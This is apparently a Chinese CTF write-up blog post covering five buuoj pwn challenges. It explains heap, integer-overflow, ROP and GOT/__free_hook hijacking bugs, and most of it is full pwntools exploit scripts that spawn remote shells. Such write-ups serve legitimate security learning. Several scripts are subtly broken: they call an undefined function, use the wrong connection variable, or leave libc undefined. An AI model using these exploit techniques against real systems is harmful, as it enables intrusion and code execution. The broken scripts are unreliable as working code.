buuoj Pwn writeup 256-260

博客内容涉及多个CTF挑战的解决方案,涵盖了堆管理漏洞利用、libc地址泄露、free_hook劫持等技术,包括对realloc、free、edit操作的利用,以及通过编辑字符串进行内存控制和got表劫持,最终实现远程命令执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

256 ciscn_2019_s_2

在这里插入图片描述
add
在这里插入图片描述申请一个0x10的chunk,分别放着地址,大小,flag。

edit
在这里插入图片描述有个realloc,一会小心。

show
在这里插入图片描述
这个show就平平无奇。

delete
在这里插入图片描述
free没啥问题。但是他没有管我们刚刚说的结构体里面的flag。

这就导致什么,我们再free了chunk之后,ptr指针没了,但是我们可以edit传入空指针,走一次realloc。

空指针的realloc会发生什么,当我们的size是的时候,realloc会将他释放掉,清理指针的

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF("./256")

r = remote('node4.buuoj.cn',29001)
libc = ELF('./64/libc-2.27.so')

def add(size,content):
		r.sendlineafter('choice:',"1")
		r.sendlineafter('size?>',str(size))
		r.sendafter('content:',content)
def edit(idx,content):
		r.sendlineafter('choice:',"2")
		r.sendlineafter('Index:',str(idx))
		r.sendafter('content:',content)
def show(idx):
		r.sendlineafter('choice:',"3")
		r.sendlineafter('Index:',str(idx))
def delete(idx):
		r.sendlineafter('choice:',str(idx))
		r.sendlineafter('Index:',str(idx))
def edit2(idx):
		r.sendlineafter('choice:',"2")
		r.sendlineafter('Index:',str(idx))

add(0,'')
edit2(0)
delete(0)
add(0x10,p64(0))	#0
add(0x20,'aaa')		#1
show(0)
r.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x2a0

add(0x500,'aaa')	#2
add(0,'')			#3
delete(2)
edit(0,p64(heap_base+0x2f0))	
show(1)
r.recvuntil('Content: ')
libc.address = u64(p.recv(6).ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
add(0x500,'/bin/sh\x00')	#2
fuck(3)
delete(3)
add(0x10,p64(libc.sym['__free_hook']))	#3
add(0x10,p64(libc.sym['system']))
delete(2)

r.interactive()

257 qwb2019_one

在这里插入图片描述
add
在这里插入图片描述平平无奇
最多读入0x20个字符。

edit
在这里插入图片描述strchr函数

C 库函数 char *strchr(const char *str, int c) 在参数 str 所指向的字符串中搜索第一次出现字符 c(一个无符号字符)的位置。

这个函数允许我们每次改变一个字节,那我们其实就想干嘛干嘛了……

show
在这里插入图片描述
del
在这里插入图片描述指针也清理掉了。

有个后门函数,输入1$
在这里插入图片描述
有个奇怪的abs。
就是绝对值函数。

我们可以通过edit,来构造chunk,制造unlink,来劫持got表。但是前提是需要计算程序基地址,因为开了pie。
那我们就可以利用到那个abs函数的溢出,来泄露elf的基地址。

我们具体看一下abs怎么做到泄露地址的。
在这里插入图片描述首先传入的是0x80000000.
然后导致rax立马成了0x80000000
在这里插入图片描述
在这里插入图片描述他最后输出的是chunk1里面的指向的chunk的数据,chunk1指向0x3060。

最后输出0x3060里的数据,
在这里插入图片描述其实道理很简单,因为atoi返回的是一个长整型,这就导致我们如果输入负数,符号在八个字节的第一个bit,这就导致一会截断之后我们的数字还是正的,但是我们如果输入一个比较大的数,就比如0x80000000,截断之后四个字节他就变成了负数,%5之后就会得到我们要的-3.

exp

#coding:utf8
from pwn import *

#context.log_level = "debug"

r = remote('node4.buuoj.cn',27097)
#r = process("./257")

elf = ELF('./257')
libc = ELF('./64/libc-2.27.so')
 
def add(string):
    r.sendlineafter('command>>','1')
    r.sendafter('test string:',string)
 
def edit(index,old_c,new_c):
    r.sendlineafter('command>>','2')
    r.sendlineafter('index of the string:',str(index))
    r.sendafter('Which char do you want to edit:',old_c)
    r.sendlineafter('What do you want to edit it into:',new_c)
 
def show(index):
    r.sendlineafter('command>>','3')
    r.sendlineafter('index of the string:',str(index))
 
def delete(index):
    r.sendlineafter('command>>','4')
    r.sendlineafter('index of the string:',str(index))
 
def test(index):
    r.sendlineafter('command>>','12580')
    r.sendlineafter('Do you want to use one?(Y/N)','Y')
    r.sendlineafter('Here are 5 strings to be tested. Which one do you want to test?',str(index))

test(0x80000000)
r.recvuntil('The string:\n')
heap_ptr = u64(r.recv(6).ljust(0x8,'\x00'))
elf_base = heap_ptr - 0x2030C0
free_got = elf_base + elf.got['free']
print 'elf_base=',hex(elf_base)
 
char_table = ''
for i in range(0x20):
   char_table += chr(ord('a')+i)
 
add(char_table) #0
add('b'*0x20) #1
add('/bin/sh\x00') #2
for i in range(0xF):
   add('b'*0x20)

add('c'*0x20)

for i in range(0x18):
   edit(0,'\x00',chr(ord('B') + i))
size = 0x40 * 0x11
edit(0,'\x41\n',p8(size & 0xFF))
edit(0,'\x00',p8((size >> 0x8) & 0xFF))
for i in range(0x17,0x10,-1):
   edit(0,chr(ord('B') + i) + '\n','\x00')
edit(0,chr(ord('B') + 0x10) + '\n',p8(0x30))
fake_chunk = p64(0) + p64(0x31)
fake_chunk += p64(heap_ptr - 0x18) + p64(heap_ptr - 0x10)
for i in range(0x1F,-1,-1):
   edit(0,chr(ord('a')+i)+'\n',fake_chunk[i])

delete(1) #unlink

for i in range(0x18):
   edit(0,'\x00','1')
edit(0,'\xA8\n','\xC8')
for i in range(6):
   edit(0,'\x00',p8((free_got >> (8 * i)) & 0xFF))
   
show(1)
r.recvuntil('The string is:\n')
free_addr = u64(r.recv(6).ljust(0x8,'\x00'))
libc_base = free_addr - libc.sym['free']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)

for i in range(6):
   edit(0,p8((free_got >> (8 * i)) & 0xFF) + '\n',p8((free_hook >> (8 * i)) & 0xFF))
#写free_hook


for i in range(6):
   edit(1,'\x00',p8((system_addr >> (8 * i)) & 0xFF))


delete(2)

r.sendline("cat flag")

r.interactive()

258 hxb_pwn300

在这里插入图片描述
在这里插入图片描述看起来是个计算器。

在这里插入图片描述显然就是。

他说先输入要计算多少次。那这个数足够大的时候其实就可以溢出。

exp

from pwn import *
context(os='linux',arch='x86',log_level='debug')

r = remote("node4.buuoj.cn",29365)
elf=ELF('./258')

def add(value):
	r.sendlineafter("5 Save the result",'1')
	r.sendlineafter("input the integer x:",str(value-1))
	r.sendlineafter("input the integer y:",'1')

bss_addr=0x80EB000
read=elf.symbols['read']
mprotect=elf.symbols['mprotect']
pop_eax=0x080bb406
jmp_eax=0x08048f02
pop_ebxesiedi=0x08048913
r.sendlineafter("How many times do you want to calculate:",'40')

for i in range(16):
	add(0)

add(read)
add(pop_ebxesiedi)
add(0)
add(bss_addr)
add(0x50)
add(mprotect)
add(pop_ebxesiedi)
add(bss_addr)
add(0x1000)
add(7)
add(pop_eax)
add(bss_addr)
add(jmp_eax)

r.sendlineafter("5 Save the result",'5')
r.send(asm(shellcraft.sh()))
r.interactive()

259 others_easyheap

在这里插入图片描述
add
在这里插入图片描述普普通通。

edit
在这里插入图片描述
edit溢出。

攻击free_hook就好了。

exp

from pwn import *
#p=process('./easyheap')
elf=ELF('./easyheap')
libc=ELF("./64/libc-2.23.so")
p=remote('node4.buuoj.cn',26139)
def add(size,content):
	p.sendlineafter(':','1')
	p.sendlineafter('Size:',str(size))
	p.sendlineafter('Content:',content)

def edit(idx,size,content):
	p.sendlineafter(':','2')
	p.sendlineafter('id:',str(idx))
	p.sendlineafter('Size:',str(size))
	p.sendafter('Content:',content)

def show():
	p.sendlineafter(':','3')

def delete(idx):
	p.sendlineafter(':','4')
	p.sendlineafter('id:',str(idx))
	
add(0x18,'aaaa')#0
add(0x68,'bbbb')#1
add(0x20,'cccc')#2
add(0x20,'dddd')#3
add(0x30,'/bin/sh\x00')#4
add(0x30,'/bin/sh\x00')#5
payload='a'*0x18+p64(0x91)
edit(0,len(payload),payload)
delete(1)
add(0x18,'')
show()
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-88-0x10
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
add(0x20,'ffff')
payload=p64(0)*4+p64(0)+p64(0x21)+p64(0x50)+p64(free_hook)
edit(3,len(payload),payload)
edit(4,8,p64(system))
delete(5)
#show()
p.interactive()

260 pwnable_bf

在这里插入图片描述
在这里插入图片描述主程序就是输入字符串,然后咔咔一顿循环去执行brainfuck。

在这里插入图片描述那显然你看有可以移动指针p的>,有可以泄露的.有可以改变数字的功能,got表是可写的,所以就是把p指针移动到下面的got表,然后泄露,劫持。

#coding=utf-8
from pwn import *

ptr = 0x0804a0a0
putchar = 0x804a030
jmp = 0x8048671

r = process("./260")

r.recvuntil("type some brainfuck instructions except [ ]\n")

payload="."
payload+="<"*(112-4)+"<."*4+"<"#leak putchar
payload+=">,"*4+"<"*36+">,"*4  #reset puts,fgets
payload+="<"*4+'>'*28+'>,'*4+'.' #reset  memset

r.sendline(payload)
r.recv(1)#这里是为了调用put函数向got表中写入真实地址

puts_addr=u32(p.recv(4)[::-1])
print "puts_addr="+hex(puts_addr)

system_addr=libc.symbols["system"]+puts_addr-libc.symbols["putchar"]
r.send(p32(jmp))
gets_addr=libc.symbols["gets"]+puts_addr-libc.symbols["putchar"]
r.send(p32(system_addr))
r.send(p32(gets_addr))

r.recvuntil("type some brainfuck instructions except [ ]\n")
r.sendline("/bin/sh\x00")

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值